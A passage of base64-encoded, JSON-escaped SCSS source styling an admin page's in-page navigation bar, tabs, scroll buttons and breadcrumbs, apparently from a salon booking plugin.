JGNsX21haW4tLXdoaXRlO1xuICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgICAgIC8qIEZJWCAwOTIwMjMgXG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMGM5XCI7XG4gICAgICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAqL1xuICAgICAgICAgICAgLypcbiAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfX2ljb24tLWdlbmVyYWw6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTNcIjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfX2ljb24tLWJvb2tpbmc6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwNzNcIjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfX2ljb24tLWNoZWNrb3V0OjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMDdhXCI7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX19pY29uLS1wYXltZW50czo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjA5ZFwiO1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX19pY29uLS1zdHlsZTo6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjAzNlwiO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl9faWNvbi0tZ2NhbGVuZGFyOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMWEwXCI7XG4gICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDMwMDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfX2ljb24tLWRvY3VtZW50YXRpb246OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMmRcIjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICovXG4gICAgICAgICAgICAvKiBGSVggMDkyMDIzIFxuICAgICAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl9faWNvbi0tY2xvc2U6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMmRcIjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICovXG4gICAgICAgICAgICAmOmZvY3VzLFxuICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsIDAuNSk7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiBub25lO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyIHtcbiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgIHRvcDogMDtcbiAgICAgICAgICAgIHJpZ2h0OiAwO1xuICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgd2lkdGg6IDQ0cHg7XG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMTA1XCI7XG4gICAgICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NnB4KTtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lO1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICAgICAgICAgICAgICY6aG92ZXIge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl9fc2Nyb2xsZXItLWxlZnQge1xuICAgICAgICAgICAgICAgIHJpZ2h0OiB1bnNldDtcbiAgICAgICAgICAgICAgICBsZWZ0OiA1NHB4O1xuICAgICAgICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjEwNFwiO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi13aWR0aDogODAwcHgpIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgJi5hZmZpeCB7XG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgIHRvcDogMDtcbiAgICAgICAgICAgIHJpZ2h0OiAwO1xuICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgICAgIC8vYm94LXNoYWRvdzogMCA4cHggMTZweCAwIHJnYmEoODUsIDkzLCAxMDIsIDAuMyk7XG4gICAgICAgICAgICBib3gtc2hhZG93OiAwIDNweCA1cHggMCBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLCAwLjI1KTtcbiAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDQ0cHg7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX19jdXJyZW50dGFiLFxuICAgICAgICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX19zY3JvbGxlciB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC43NSk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yaWdodDogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAmLnNsbi1pbnBhZ2VfbmF2YmFyX3dyYXBwZXItLXB1c2hlZGRvd24ge1xuICAgICAgICAgICAgICAgIC8vdG9wOiA3NnB4O1xuICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgICAgICAgJi5hZmZpeCB7XG4gICAgICAgICAgICAgICAgdG9wOiA0NnB4O1xuICAgICAgICAgICAgICAgICYuc2xuLWlucGFnZV9uYXZiYXJfd3JhcHBlci0tcHVzaGVkZG93biB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogOTBweDtcbiAgICAgICAgICAgICAgICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX2lubmVyIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fY3VycmVudHRhYiB7XG4gICAgICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgLnNsbi1pbnBhZ2VfbmF2YmFyX19zY3JvbGxlci5zbG4taW5wYWdlX25hdmJhcl9fc2Nyb2xsZXItLWxlZnQge1xuICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDgwMHB4KSB7XG4gICAgICAgICAgICAvL0BpbmNsdWRlIGJwKGRlc2t0b3ApIHtcbiAgICAgICAgICAgIHdpZHRoOiBjYWxjKDEwMCUgKyAxMHB4KTtcbiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiA0NHB4O1xuICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiA1NHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDEwcHg7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyLnNsbi1pbnBhZ2VfbmF2YmFyX19zY3JvbGxlci0tbGVmdCB7XG4gICAgICAgICAgICAgICAgbGVmdDogMTBweDtcbiAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fc2Nyb2xsZXIuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyLS1yaWdodCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgICYuYWZmaXgge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB0b3A6IDMycHg7XG4gICAgICAgICAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgbGVmdDogMTYwcHg7XG4gICAgICAgICAgICAgICAgd2lkdGg6IGF1dG87XG4gICAgICAgICAgICAgICAgJi5zbG4taW5wYWdlX25hdmJhcl93cmFwcGVyLS1wdXNoZWRkb3duIHtcbiAgICAgICAgICAgICAgICAgICAgdG9wOiA3NnB4O1xuICAgICAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9fc2Nyb2xsZXIuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyLS1sZWZ0IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxlZnQ6IDA7XG4gICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItbGVmdDogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LCAwLjUpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogNDRweDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfaW5uZXIge1xuICAgICAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogOThweDtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX2N1cnJlbnR0YWIge1xuICAgICAgICAgICAgICAgICAgICBsZWZ0OiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJfX3Njcm9sbGVyLnNsbi1pbnBhZ2VfbmF2YmFyX19zY3JvbGxlci0tbGVmdCB7XG4gICAgICAgICAgICAgICAgICAgIGxlZnQ6IDQ0cHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIC5zbG4taW5wYWdlX25hdmJhcl9pbm5lciB7XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNDRweDtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDg4cHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5uYXYubmF2LXBpbGxzIHtcbiAgICAgICAgICAgIG1hcmdpbjogMDtcbiAgICAgICAgICAgIGxpIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgbGkgKyBsaSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDA7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICAuc2xuLWlucGFnZV9uYXZiYXJpdGVtOmZpcnN0LWNoaWxkIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogMTBweDtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGEge1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMC43NXJlbTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCk7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1jbF9tYWluO1xuICAgICAgICAgICAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGNvbG9yIDI1MG1zKTtcbiAgICAgICAgICAgICAgICBzcGFuIHtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiBpbmhlcml0O1xuICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICAgICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgICAgICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgICAgICAgICAgICAgIC8vYm9yZGVyLWJvdHRvbTogNHB4IHNvbGlkO1xuICAgICAgICAgICAgICAgICAgICAvL2JvcmRlci1ib3R0b20tY29sb3I6ICRjbF9tYWluLS1saWdodDtcbiAgICAgICAgICAgICAgICAgICAgLy9ib3JkZXItYm90dG9tLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYm9yZGVyLWJvdHRvbS1jb2xvciAyNTBtcyk7XG4gICAgICAgICAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogXCJcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA2cHg7XG4gICAgICAgICAgICAgICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICAgICAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3IgMjUwbXMsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVpZ2h0IDE3NW1zXG4gICAgICAgICAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgICAgICAgICAgICAgICBzcGFuIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZXhhbXBsZSB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgNTAlIHtcbiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIDEwMCUge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgID4gbGkuYWN0aXZlID4gYSB7XG4gICAgICAgICAgICAgICAgQGV4dGVuZCAlZm9udC1jbF9tYWluO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgICAgICAgICAgc3BhbiB7XG4gICAgICAgICAgICAgICAgICAgIC8vYm9yZGVyLWJvdHRvbS1jb2xvcjogJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgICAgICAgICAgICAgICAmOjphZnRlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDJweDtcbiAgICAgICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvbi1uYW1lOiBleGFtcGxlO1xuICAgICAgICAgICAgICAgICAgICAgICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAyNTBtcztcbiAgICAgICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgJi5hZmZpeCAubmF2Lm5hdi1waWxscyB7XG4gICAgICAgICAgICBhLFxuICAgICAgICAgICAgPiBsaS5hY3RpdmUgPiBhIHtcbiAgICAgICAgICAgICAgICBAZXh0ZW5kICVmb250LWNsX21haW47XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuICAgICAgICAgICAgICAgICY6Zm9jdXMsXG4gICAgICAgICAgICAgICAgJjphY3RpdmUge1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC41KTtcbiAgICAgICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCwgMC43NSk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1zYWxvbi0tYWRtaW5fX2JyZWFkY3J1bWJzIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcbiAgICAgICAgZm9udC1mYW1pbHk6IHR5cG8tYWRtaW4uJGZvbnRmYW1pbHktLW1haW47XG4gICAgICAgIGZvbnQtc2l6ZTogMC44NzVyZW07XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAxLjM3NWVtO1xuICAgICAgICBmb250LXdlaWdodDogbm9ybWFsO1xuICAgICAgICBzcGFuICsgc3BhbiB7XG4gICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgICAgICBsaW5lLWhlaWdodDogNDRweDtcbiAgICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCIvXCI7XG4gICAgICAgIC